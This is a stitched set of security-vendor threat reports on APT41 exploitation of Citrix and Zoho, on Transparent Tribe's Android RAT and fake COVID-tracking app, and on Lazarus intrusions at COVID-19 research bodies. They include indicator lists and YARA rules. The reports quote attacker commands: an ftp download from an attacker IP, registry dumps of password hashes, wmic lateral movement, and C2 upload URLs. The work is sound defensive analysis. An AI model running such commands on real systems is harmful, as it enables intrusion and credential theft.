operational tempo and wide collection requirements for APT41.
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It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike
and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more
advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020,
APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group
shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.
Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian
Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that
conducts espionage, the actor also conducts financially motivated activity for personal gain.
Indicators
Type
Indicator(s)
CVE-2019-19781 Exploitation (Citrix
Application Delivery Control)
66.42.98[.]220
CVE-2019-19781 exploitation attempts with a payload of
file /bin/pwd
CVE-2019-19781 exploitation attempts with a payload of
/usr/bin/ftp -o
/tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd
CVE-2019-19781 exploitation attempts with a payload of
/usr/bin/ftp -o
/tmp/un ftp://test:[redacted]\@66.42.98[.]220/un
/tmp/bsd
/tmp/un
Cisco Router Exploitation
66.42.98\.220
1.txt
(MD5: c0c467c8e9b2046d7053642cc9bdd57d)
(MD5: 155e98e5ca8d662fad7dc84187340cbc
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CVE-2020-10189 (Zoho ManageEngine
Desktop Central)
66.42.98[.]220
91.208.184[.]78
74.82.201[.]8
exchange.dumb1[.]com
install.bat (MD5: 7966c2c546b71e800397a67f942858d0)
storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)
C:\Windows\Temp\storesyncsvc.dll
C:\Windows\Temp\install.bat
2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)
C:\Users\[redacted]\install.bat
TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)
C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning
cmd.exe and/or bitsadmin.exe
Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78
PowerShell downloading files with Net.WebClient
Detecting the Techniques
FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of
detections that were available prior to this activity occurring.
Platform
Signature Name
Endpoint Security
BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY)
CERTUTIL.EXE DOWNLOADER A (UTILITY)
Generic.mg.5909983db4d9023e
Generic.mg.3e856162c36b5329
POWERSHELL DOWNLOADER (METHODOLOGY)
SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY)
SAMWELL (BACKDOOR)
SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)
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Network Security
Backdoor.Meterpreter
DTI.Callback
Exploit.CitrixNetScaler
Trojan.METASTAGE
Exploit.ZohoManageEngine.CVE-2020-10198.Pwner
Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader
Helix
CITRIX ADC [Suspicious Commands]
EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
MALWARE METHODOLOGY [Certutil User-Agent]
WINDOWS METHODOLOGY [BITSadmin Transfer]
WINDOWS METHODOLOGY [Certutil Downloader]
MITRE ATT&CK Technique Mapping
ATT&CK
Techniques
Initial
Access
External Remote Services (T1133), Exploit Public-Facing Application (T1190)
Execution
PowerShell (T1086), Scripting (T1064)
Persistence
New Service (T1050)
Privilege
Escalation
Exploitation for Privilege Escalation (T1068)
Defense
Evasion
BITS Jobs (T1197), Process Injection (T1055)
Command
Control
Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom
Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol
(T1071)
Appendix A: Discovery Rules
The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or
tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we
recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are
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tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in
aperture that build larger haystacks for further automation or processing in threat hunting systems.
import "pe"
rule ExportEngine_APT41_Loader_String
meta:
author = "@stvemillertime"
description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as
loader_X86_svchost.dll"
strings:
$pcre = /loader_[\x00-\x7F]{1,}\x00/
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at
pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address)
+ 12))
rule ExportEngine_ShortName
meta:
author = "@stvemillertime"
description = "This looks for Win PEs where Export DLL name is a single character"
strings:
$pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at
pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address)
+ 12))
rule ExportEngine_xArch
meta:
author = "@stvemillertime"
description = "This looks for Win PEs where Export DLL name is a something like x32.dat"
10/13
strings:
$pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at
pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address)
+ 12))
rule RareEquities_LibTomCrypt
meta:
author = "@stvemillertime"
description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors
https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX
packed samples."
strings:
$a1 = "LibTomMath"
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1
rule RareEquities_KCP
meta:
author = "@stvemillertime"
description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP,
https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability."
strings:
$a01 = "[RO] %ld bytes"
$a02 = "recv sn=%lu"
$a03 = "[RI] %d bytes"
$a04 = "input ack: sn=%lu rtt=%ld rto=%ld"
$a05 = "input psh: sn=%lu ts=%lu"
$a06 = "input probe"
$a07 = "input wins: %lu"
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$a08 = "rcv_nxt=%lu\\n"
$a09 = "snd(buf=%d, queue=%d)\\n"
$a10 = "rcv(buf=%d, queue=%d)\\n"
$a11 = "rcvbuf"
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)
rule ConventionEngine_Term_Users
meta:
author = "@stvemillertime"
description = "Searching for PE files with PDB path keywords, terms or anomalies."
sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"
ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debugdetails-part-one-pdb-paths-malware.html"
strings:
$pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii
condition:
(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre
rule ConventionEngine_Term_Desktop
meta:
author = "@stvemillertime"
description = "Searching for PE files with PDB path keywords, terms or anomalies."
sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"
ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debugdetails-part-one-pdb-paths-malware.html"
strings:
$pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii
condition:
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(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre
rule ConventionEngine_Anomaly_MultiPDB_Double
meta:
author = "@stvemillertime"
description = "Searching for PE files with PDB path keywords, terms or anomalies."
sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"
ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debugdetails-part-one-pdb-paths-malware.html"
strings:
$pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/
condition:
(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2
13/13
Transparent Tribe: Evolution analysis, part 2
securelist.com/transparent-tribe-part-2/98233
Giampaolo Dedola
Background + Key findings
Transparent Tribe, also known as PROJECTM or MYTHIC LEOPARD, is a highly prolific
group whose activities can be traced as far back as 2013. In the last four years, this APT
group has never taken time off. They continue to hit their targets, which typically are
Indian military and government personnel.
This is the second of two articles written to share the results of our recent investigations
into Transparent Tribe. In the previous article, we described the various Crimson RAT
components and provided an overview of impacted users. Here are some of the key insights
that will be described in this part:
We found a new Android implant used by Transparent Tribe for spying on mobile
devices. It was distributed in India disguised as a porn-related app and a fake
national COVID-19 tracking app.
New evidence confirms a link between ObliqueRAT and Transparent Tribe.
Android implant
During our analysis, we found an interesting sample, which follows a variant of the
previously described attack scheme. Specifically, the attack starts with a simple document,
which is not malicious by itself, does not contain any macro and does not try to download
other malicious components, but it uses social engineering tricks to lure the victim into
downloading other documents from the following external URLs:
hxxp://sharingmymedia[.]com/files/Criteria-of-Army-Officers.doc
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hxxp://sharingmymedia[.]com/files/7All-Selected-list.xls
15DA10765B7BECFCCA3325A91D90DB37
Special Benefits.docx
The remote files are two Microsoft Office documents with an embedded malicious VBA,
which behaves similarly to those described in the previous article and drops the Crimson
Thin Client
. The domain sharingmymedia[.]com was even more interesting: it was
resolved with the IP 89.45.67[.]160 and was registered on 2020-01-10 using Namesilo and
the following information:
Registrant Name: bluff hunnter
Registrant Organization:
Registrant Street: India Dehli
Registrant City: Dehli
Registrant State/Province: Delhi
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Registrant Postal Code: 110001
Registrant Country: IN
Registrant Phone: +91.4214521212
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: [email protected]
The same information was used to register another domain, sharemydrives[.]com, which
was registered seven days before, on 2020-01-03, using Namesilo. DNS resolution points
to the same IP address: 89.45.67[.]160.
Using our Kaspersky Threat Intelligence Portal, we found the following related URL:
Information in Kaspersky Threat Intelligence Portal
The file is a modified version of MxVideoPlayer, a simple open-source video player for
Android, downloadable from GitHub and used by Transparent Tribe to drop and execute
their Android RAT.
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Desi-porn.apk screenshot
The dropper tries to find a list of
legitimate packages on the system:
imo.android.imoim
snapchat.android
viber.voip
facebook.lite
If the device was produced by
Xiaomi, it also checks if the
com.truecaller package is present.
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The code used to check if legitimate packages are installed
The first application on the list that is not installed on the system will be selected as the
target application. The malware embeds multiple APK files, which are stored in a directory
named
assets
. The analyzed sample includes the following packages:
apk a20fc273a49c3b882845ac8d6cc5beac
apk 53cd72147b0ef6bf6e64d266bf3ccafe
apk bae69f2ce9f002a11238dcf29101c14f
apk b8006e986453a6f25fd94db6b7114ac2
apk 4556ccecbf24b2e3e07d3856f42c7072
apk 6c3308cd8a060327d841626a677a0549
The selected APK is copied to /.System/APK/. By default, the application tries to save the
file to external storage, otherwise it saves it to the data directory.
Finally, the application tries to install the copied APK. The final malware is a modified
version of the AhMyth Android RAT, open-source malware downloadable from GitHub,
which is built by binding the malicious payload inside other legitimate applications.
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The original AhMyth RAT includes support for the following commands:
Commands Additional Value
fields
Description
x0000ca
x0000fm
x0000sm
extra
camlist
get a camera list
extra
get a photo from the camera with the id 1
extra
get a photo from the camera with the id 0
extra
path
%dirpath%
get a list of files in the directory specified in
the
path
variable.
extra
path
%filepath%
upload the specified file to the C2
extra
get a list of text messages
extra
sendSMS
%number%
send a new text to another number
%message%
x0000cl
get the call log
x0000cn
get contacts
x0000mc
%seconds%
x0000lm
record audio from the microphone for the
specified number of seconds and upload the
resulting file to the C2.
get the device location
Basically, it provides the following features:
camera manager (list devices and steal screenshots)
file manager (enumerate files and upload these to the C2)
SMS manager (get a list of text messages or send a text)
get the call log
get the contact list
microphone manager
location manager (track the device location)
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The RAT that we analyzed is slightly different from the original. It includes new features
added by the attackers to improve data exfiltration, whereas some of the core features,
such as the ability to steal pictures from the camera, are missing.
The operators added the following commands:
x000upd
download a new APK from the URL specified in the
path
field.
x000adm
autodownloader: not implemented in the version we analyzed, but
available in other samples.
Moreover, the creators of the RAT also improved its audio surveillance capabilities and
included a command to delete text messages with specific contents.
Commands Additional Value
fields
Description
x000upd
download a new APK from the URL specified
in the
path
field
path
%url%
x000adm
x0000mc
x0000fm
not implemented in the analyzed version.
Other samples use this to start a class
named
autodownloader
extra
%seconds%
record audio for x seconds and upload the
resulting file to the C2. Duration is specified
in the
value.
extra
stop recording and upload the resulting file to
the C2
extra
start recording continuously. This generates
MP3 files stored in the
/.System/Records/
directory.
extra
path
%dirpath%
get a list of files in the directory specified in
the
path
variable
extra
path
%filepath%
upload the specified file to
hxxp://212.8.240[.]221:80/server/upload.php
extra
get a list of text messages
extra
sendSMS
%number%
Send a new text to another number.
%message%
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extra
deleteSMS
Delete a text that contains the string
%message% specified in the
value. The
value is
ignored.
x0000cl
get the call log
x0000cn
get contacts
x0000lm
get the device location
The
autodownloader
is a method used for performing the following actions:
upload a contact list
upload a text message list
upload files stored in the following directories:
/.System/Records/
/Download/
/DCIM/Camera/
/Documents/
/WhatsApp/Media/WhatsApp Images/
/WhatsApp/Media/WhatsApp Documents/
The attacker uses the method to collect contacts and text messages automatically. In
addition, the method collects the following: audio files created with the
x0000mc
command and stored in /.System/Records/, downloaded files, photos, images and
documents shared via WhatsApp and other documents stored on the device.
Another interesting difference between the original AhMyth and the one modified by
Transparent Tribe is the technique used for getting the C2 address. The original version
stores the C2 server as a string directly embedded in the code, whereas the modified
version uses a different approach. It embeds another URL encoded with Base64 and used
for getting a configuration file, which contains the real C2 address.
In our sample, the URL was as follows:
hxxp://tryanotherhorse[.]com/config.txt
It provided the following content:
212.8.240.221:5987
http://www.tryanotherhorse.com
The first value is the real C2, which seems to be a server hosted in the Netherlands.
8/12
The modified version communicates via a different URL scheme, which includes more
information:
Original URL scheme: http://%server%:%port?
model=%val%&manf=%val%&release=%val%&id=%val%
Modified URL scheme http://%server%:%port?
mac=%val%&battery=%val%&model=%val%&manf=%val%&release=%val%&id=%val%
Covid-19 tracking app
We found evidence of Transparent Tribe taking advantage of pandemic-tracking
applications to distribute trojanized code. Specifically, we found an APK file imitating
Aarogya Setu, a COVID-19 tracking mobile application developed by the National
Informatics Centre under the Ministry of Electronics and Information Technology,
Government of India. It allows users to connect to essential health services in India.
The discovered application tries to connect to the same malicious URL to get the C2 IP
address:
hxxp://tryanotherhorse[.]com/config.txt
It uses the same URL scheme described earlier and it embeds the following APK packages:
apk CF71BA878434605A3506203829C63B9D
apk 627AA2F8A8FC2787B783E64C8C57B0ED
apk 62FAD3AC69DB0E8E541EFA2F479618CE
apk A912E5967261656457FD076986BB327C
apk 3EB36A9853C9C68524DBE8C44734EC35
apk 931435CB8A5B2542F8E5F29FD369E010
Interestingly enough, at the end of April, the Indian Army issued a warning to its personnel
against Pakistani agencies
nefarious designs to hack the phones of Indian military
personnel through a malicious application similar to Aarogya Setu.
According to some Indian online news sites, these applications were found to be sent by
Pakistani Intelligence Operatives to WhatsApp groups of Indian Army personnel. It also
mentioned that these applications later deployed additional packages:
According to some Indian online news sites, these applications were found to be sent by
Pakistani Intelligence Operatives to WhatsApp groups of Indian Army personnel. It also
mentioned that these applications later deployed additional packages:
face.apk
imo.apk
normal.apk
9/12
trueC.apk
snap.apk
viber.apk
Based on public information, the application may have been distributed by sending a
malicious link via WhatsApp, SMS, phishing email or social media.
ObliqueRAT connection
ObliqueRAT is another malicious program, described by Cisco Talos in an interesting
article published in February. It was attributed to Transparent Tribe because some
samples were distributed through malicious documents forged with macros that resembled
those used for distributing Crimson RAT.
The report described two ObliqueRAT variants, one distributed via a malicious document
as the infection vector and another one, named
Variant #0
and distributed with a
dropper.
4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6
Unfortunately, as reported by Talos,
The initial distribution vector of this dropper is
currently unknown
At this time, we do not have the full infection chain, but we can add another piece to the
puzzle, because sharemydrives[.]com also hosted another file:
Information in Kaspersky Threat Intelligence Portal
The wifeexchange.exe sample is another dropper, which disguises itself as a porn clip.
Specifically, the executable file uses the same icon used by Windows for multimedia files.
Dropper icon
Once executed, the process tries to find a specific marker (
inside its file image, then drops and opens the following files:
frame.exe
4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6
10/12
movie.mp4
Frame.exe is the dropper described by Talos, while movie.mp4 is a small porn clip.
Conclusions
Transparent Tribe members are trying to add new tools to extend their operations and
infect mobile devices. They are also developing new custom .NET tools like ObliqueRAT,
and as observed in the first report, we do not expect this group to slow down any time soon.
We will keep monitoring their activities.
The followings IoC list is not complete. If you want more information about the APT
discussed here, a full IoC list and YARA rules are available to customers of Kaspersky
Threat Intelligence Reports. Contact: [email protected]
15DA10765B7BECFCCA3325A91D90DB37
Special Benefits.docx
48476DA4403243B342A166D8A6BE7A3F
7All_Selected_list.xls
B3F8EEE133AE385D9C7655AAE033CA3E
Criteria of Army Officers.doc
D7D6889BFA96724F7B3F951BC06E8C02
wifeexchange.exe
0294F46D0E8CB5377F97B49EA3593C25
Android Dropper
Desi-porn.apk
5F563A38E3B98A7BC6C65555D0AD5CFD
Android Dropper
Aarogya Setu.apk
A20FC273A49C3B882845AC8D6CC5BEAC
Android RAT
face.apk
53CD72147B0EF6BF6E64D266BF3CCAFE
Android RAT
imo.apk
BAE69F2CE9F002A11238DCF29101C14F
Android RAT
normal.apk
B8006E986453A6F25FD94DB6B7114AC2
Android RAT
snap.apk
4556CCECBF24B2E3E07D3856F42C7072
Android RAT
trueC.apk
6C3308CD8A060327D841626A677A0549
Android RAT
viber.apk
CF71BA878434605A3506203829C63B9D
Android RAT
face.apk
627AA2F8A8FC2787B783E64C8C57B0ED
Android RAT
imo.apk
62FAD3AC69DB0E8E541EFA2F479618CE
Android RAT
normal.apk
A912E5967261656457FD076986BB327C
Android RAT
snap.apk
3EB36A9853C9C68524DBE8C44734EC35
Android RAT
trueC.apk
931435CB8A5B2542F8E5F29FD369E010
Android RAT
viber.apk
hxxp://sharingmymedia[.]com/files/Criteria-of-Army-Officers.doc
hxxp://sharingmymedia[.]com/files/7All-Selected-list.xls
hxxp://sharemydrives[.]com/files/Laptop/wifeexchange.exe
hxxp://sharemydrives[.]com/files/Mobile/Desi-Porn.apk
11/12
hxxp://tryanotherhorse[.]com/config.txt
APK URL
212.8.240[.]221:5987
Android RAT C2
hxxp://212.8.240[.]221:80/server/upload.php
URL used by Android RAT to upload files
12/12
Lazarus covets COVID-19-related intelligence
securelist.com/lazarus-covets-covid-19-related-intelligence/99906
Authors
Seongsu Park
As the COVID-19 crisis grinds on, some threat actors are trying to speed up vaccine development by any means
available. We have found evidence that actors, such as the Lazarus group, are going after intelligence that could help
these efforts by attacking entities related to COVID-19 research.
While tracking the Lazarus group
s continuous campaigns targeting various industries, we discovered that they
recently went after COVID-19-related entities. They attacked a pharmaceutical company at the end of September,
and during our investigation we discovered that they had also attacked a government ministry related to the COVID19 response. Each attack used different tactics, techniques and procedures (TTPs), but we found connections
between the two cases and evidence linking those attacks to the notorious Lazarus group.
Relationship of recent Lazarus group attack
In this blog, we describe two separate incidents. The first one is an attack against a government health ministry: on
October 27, 2020, two Windows servers were compromised at the ministry. We were unable to identify the infection
vector, but the threat actor was able to install a sophisticated malware cluster on these servers. We already knew this
malware as
wAgent
. It
s main component only works in memory and it fetches additional payloads from a remote
server.
The second incident involves a pharmaceutical company. According to our telemetry, this company was breached on
September 25, 2020. This time, the Lazarus group deployed the Bookcode malware, previously reported by ESET, in
a supply chain attack through a South Korean software company. We were also able to observe post-exploitation
commands run by Lazarus on this target.
Both attacks leveraged different malware clusters that do not overlap much. However, we can confirm that both of
them are connected to the Lazarus group, and we also found overlaps in the post-exploitation process.
wAgent malware cluster
The malware cluster has a complex infection scheme:
1/10
Infection scheme of the wAgent malware cluster
Unfortunately, we were unable to obtain the starter module used in this attack. The module seems to have a trivial
role: executing wAgent with specific parameters. One of the wAgent samples we collected has fake metadata in order
to make it look like the legitimate compression utility XZ Utils.
According to our telemetry, this malware was directly executed on the victim machine from the command line shell by
calling the Thumbs export function with the parameter:
c:\windows\system32\rundll32.exe C:\Programdata\Oracle\javac.dat, Thumbs 8IZ-VU7-109-S2MY
The 16-byte string parameter is used as an AES key to decrypt an embedded payload
a Windows DLL. When the
embedded payload is loaded in memory, it decrypts configuration information using the given decryption key. The
configuration contains various information including C2 server addresses, as well as a file path used later on.
Although the configuration specifies two C2 servers, it contains the same C2 server twice. Interestingly, the
configuration has several URL paths separated with an
symbol. The malware attempts to connect to each URL
path randomly.
C2 address in the configuration
When the malware is executed for the first time, it generates identifiers to distinguish each victim using the hash of a
random value. It also generates a 16-byte random value and reverses its order. Next, the malware concatenates this
random 16-byte value and the hash using
as a delimiter. i.e.: 82UKx3vnjQ791PL2@29312663988969
POST parameter names (shown below) are decrypted at runtime and chosen randomly at each C2 connection. We
previously seen and reported to our Threat Intelligence Report customers that a very similar technique was used
when the Lazarus group attacked cryptocurrency businesses with an evolved downloader malware. It is worth noting
that Tistory is a South Korean blog posting service, which means the malware author is familiar with the South Korean
internet environment:
2/10
plugin course property tistory tag vacon slide parent manual themes product notice portal articles category doc
entry isbn tb idx tab maincode level bbs method thesis content blogdata tname
The malware encodes the generated identifier as base64 and POSTs it to the C2. Finally, the agent fetches the next
payload from the C2 server and loads it in memory directly. Unfortunately, we couldn
t obtain a copy of it, but
according to our telemetry, the fetched payload is a Windows DLL containing backdoor functionalities. Using this inmemory backdoor, the malware operator executed numerous shell commands to gather victim information:
cmd.exe /c ping -n 1 -a 192.[redacted]
cmd.exe /c ping -n 1 -a 192.[redacted]
cmd.exe /c dir \\192.[redacted]\c$
cmd.exe /c query user
cmd.exe /c net user [redacted] /domain
cmd.exe /c whoami
Persistent wAgent deployed
Using the wAgent backdoor, the operator installed an additional wAgent payload that has a persistence mechanism.
After fetching this DLL, an export called SagePlug was executed with the following command line parameters:
rundll32.exe c:\programdata\oracle\javac.io, SagePlug 4GO-R19-0TQ-HL2A
c:\programdata\oracle\~TMP739.TMP
4GO-R19-0TQ-HL2A is used as a key and the file path indicates where debugging messages are saved. This wAgent
installer works similarly to the wAgent loader malware described above. It is responsible for loading an embedded
payload after decrypting it with the 16-byte key from the command line. In the decrypted payload, the malware
generates a file path to proceed with the infection:
C:\Windows\system32\[random 2 characters]svc.drv
This file is disguised as a legitimate tool named SageThumbs Shell Extension. This tool shows image files directly in
Windows Explorer. However, inside it contains an additional malicious routine.
While creating this file, the installer module fills it with random data to increase its size. The malware also copies
cmd.exe
s creation time to the new file in order to make it less easy to spot.
For logging and debugging purposes, the malware stores information in the file provided as the second argument
(c:\programdata\oracle\~TMP739.TMP in this case). This log file contains timestamps and information about the
infection process. We observed that the malware operators were checking this file manually using Windows
commands. These debugging messages have the same structure as previous malware used in attacks against
cryptocurrency businesses involving the Lazarus group. More details are provided in the Attribution section.
After that, the malware decrypts its embedded configuration. This configuration data has a similar structure as the
aforementioned wAgent malware. It also contains C2 addresses in the same format:
hxxps://iski.silogica[.]net/events/[email protected]@[email protected]@cookie.jsp
hxxp://sistema.celllab[.]com.br/webrun/Navbar/[email protected]@[email protected]@customZoom.jsp
hxxp://www.bytecortex.com[.]br/eletronicos/[email protected]@[email protected]@Functions.jsp
hxxps://sac.najatelecom.com[.]br/sac/Dados/[email protected]@[email protected]@default.jsp
The malware encrypts configuration data and stores it as a predefined registry key with its file name:
3/10
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Application\Emulate
[random 2
characters]svc
It also takes advantage of the Custom Security Support Provider by registering the created file path to the end of the
existing registry value. Thanks to this registry key, this DLL will be loaded by lsass.exe during the next startup.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Security Packages : kerberos msv1_0
schannel wdigest tspkg pku2u [random 2 characters]svc.drv
Finally, the starter module starts the [random 2 characters]svc.drv file in a remote process. It searches for the first
svchost.exe process and performs DLL injection. The injected [random 2 characters]svc.drv malware contains a
malicious routine for decrypting and loading its embedded payload. The final payload is wAgent, which is responsible
for fetching additional payloads from the C2, possibly a fully featured backdoor, and loading it in the memory.
Bookcode malware cluster
The pharmaceutical company targeted by Lazarus group
s Bookcode malware is developing a COVID-19 vaccine and
is authorized to produce and distribute COVID-19 vaccines. We previously saw Lazarus attack a software company in
South Korea with Bookcode malware, possibly targeting the source code or supply chain of that company. We have
also witnessed the Lazarus group carry out spear phishing or strategic website compromise in order to deliver
Bookcode malware in the past. However, we weren
t able to identify the exact initial infection vector for this incident.
The whole infection procedure confirmed by our telemetry is very similar to the one described in ESET
s latest
publication on the subject.
Bookcode infection procedure
Although we didn
t find the piece of malware tasked with deploying the loader and its encrypted Bookcode payload,
we were able to identify a loader sample. This file is responsible for loading an encrypted payload named
gmslogmgr.dat located in the system folder. After decrypting the payload, the loader finds the Service Host Process
(svchost.exe) with winmgmt, ProfSvc or Appinfo parameters and injects the payload into it. Unfortunately, we couldn
acquire the encrypted payload file, but we were able to reconstruct the malware actions on the victim machine and
identify it as the Bookcode malware we reported to our Threat Intelligence Report customers.
4/10
Upon execution, the Bookcode malware reads a configuration file. While previous Bookcode samples used the file
perf91nc.inf as a configuration file, this version reads its configuration from a file called C_28705.NLS. This Bookcode
sample has almost identical functionality as the malware described in the comprehensive report recently published by
Korea Internet & Security Agency (KISA). As described on page 57 of that report, once the malware is started it sends
information about the victim to the attacker
s infrastructure. After communicating with the C2 server, the malware
provides standard backdoor functionalities.
Post-exploitation phase
The Lazarus group
s campaign using the Bookcode cluster has its own unique TTPs, and the same modus operandi
was used in this attack.
Extracting infected host information, including password hashes, from the registry sam dump.
Using Windows commands in order to check network connectivity.
Using the WakeMeOnLan tool to scan hosts in the same network.
After installing Bookcode on September 25, 2020, the malware operator started gathering system and network
information from the victim. The malware operator also collected a registry sam dump containing password hashes:
exe /c
reg.exe save hklm\sam %temp%\~reg_sam.save >
%temp%\BD54EA8118AF46.TMP~
2>&1
exe /c
reg.exe save hklm\system %temp%\~reg_system.save >
%temp%\405A758FA9C3DD.TMP~
2>&1
In the lateral movement phase, the malware operator used well-known methodologies. After acquiring account
information, they connected to another host with the
command and executed a copied payload with the
wmic
command.
exe /c
netstat -aon | find
ESTA
> %temp%\~431F.tmp
exe /c
net use \\172.[redacted]
[redacted]
/u:[redacted] > %temp%\~D94.tmp
2>&1
wmic /node:172.[redacted] /user:[redacted] /password:
[redacted]
process call create
%temp%\engtask.exe
%temp%\~9DC9.tmp
2>&1
Moreover, Lazarus used ADfind in order to collect additional information from the Active Directory. Using this utility,
the threat actor extracted a list of the victim
s users and computers.
Infrastructure of Bookcode
As a result of closely working with the victim to help remediate this attack, we discovered an additional configuration
file. It contains four C2 servers, all of which are compromised web servers located in South Korea.
hxxps://www.kne.co[.]kr/upload/Customer/BBS.asp
hxxp://www.k-kiosk[.]com/bbs/notice_write.asp
hxxps://www.gongim[.]com/board/ajax_Write.asp
hxxp://www.cometnet[.]biz/framework/common/common.asp
One of those C2 servers had directory listing enabled, so we were able to gain insights as to how the attackers
manage their C2 server:
Attacker files listed on a compromised website
We discovered several log files and a script from the compromised server, which is a
first-stage
C2 server. It
receives connections from the backdoor, but only serves as a proxy to a
second-stage
server where the operators
actually store orders.
5/10
File name
Description
_ICEBIRD007.dat
A log file containing the identifier of victims and timestamps.
~F05990302ERA.jpg
Second-stage C2 server address:
hxxps://www.locknlockmall[.]com/common/popup_left.asp
Customer_Session.asp
Malware control script.
Customer_Session.asp is a first-stage C2 script responsible for delivering commands from the next-stage C2 server
and command execution results from the implant. In order to deliver proper commands to each victim, the bbs_code
parameter from the implants is used as an identifier. The script uses this identifier to assign commands to the correct
victims. Here is how the process of sending an order for a particular victim works:
1. The malware operator sets the corresponding flag([id]_208) of a specific implant and saves the command to the
variable([id]_210).
2. The implant checks the corresponding flag([id]_208) and retrieves the command from the variable([id]_210) if it
is set.
3. After executing the command, the implant sends the result to the C2 server and sets the corresponding flag.
4. The malware operator checks the flag and retrieves the result if the flag is set.
Logic of the C2 script
Besides implant control features, the C2 script has additional capabilities such as updating the next-stage C2 server
address, sending the identifier of the implant to the next-stage server or removing a log file.
table_nm value
Function
name
Description
table_qna
qnaview
Set [id]_209 variable to TRUE and save the
content
parameter value to
[id]_211.
table_recruit
recuritview
If [id]_209 is SET, send contents of [id]_211 and reset it, and set [ID]_209 to
FALSE.
table_notice
notcieview
Set [id]_208 and save the
content
parameter value to [id]_210.
table_bVoice
voiceview
If [id]_208 is SET, send contents of [id]_210 and reset it, and set [id]_208 to
FALSE.
6/10
table_bProduct
productview
Update the ~F05990302ERA.jpg file with the URL passed as the
target_url
parameter.
table_community
communityview
Save the identifier of the implant to the log file. Read the second-stage URL
from ~F05990302ERA.jpg and send the current server URL and identifier to
the next hop server using the following format:
bbs_type=qnaboard&table_id=[base64ed identifier] &accept_identity=[base64
encoded current server IP]&redirect_info=[base64ed current server URL]
table_free
freeview
Read _ICEBIRD007.dat and send its contents, and delete it.
Attribution
We assess with high confidence that the activity analyzed in this post is attributable to the Lazarus group. In our
previous research, we already attributed the malware clusters used in both incidents described here to the Lazarus
group. First of all, we observe that the wAgent malware used against the health ministry has the same infection
scheme as the malware that the Lazarus group used previously in attacks on cryptocurrency businesses.
Both cases used a similar malware naming scheme, generating two characters randomly and appending
to it to generate the path where the payload is dropped.
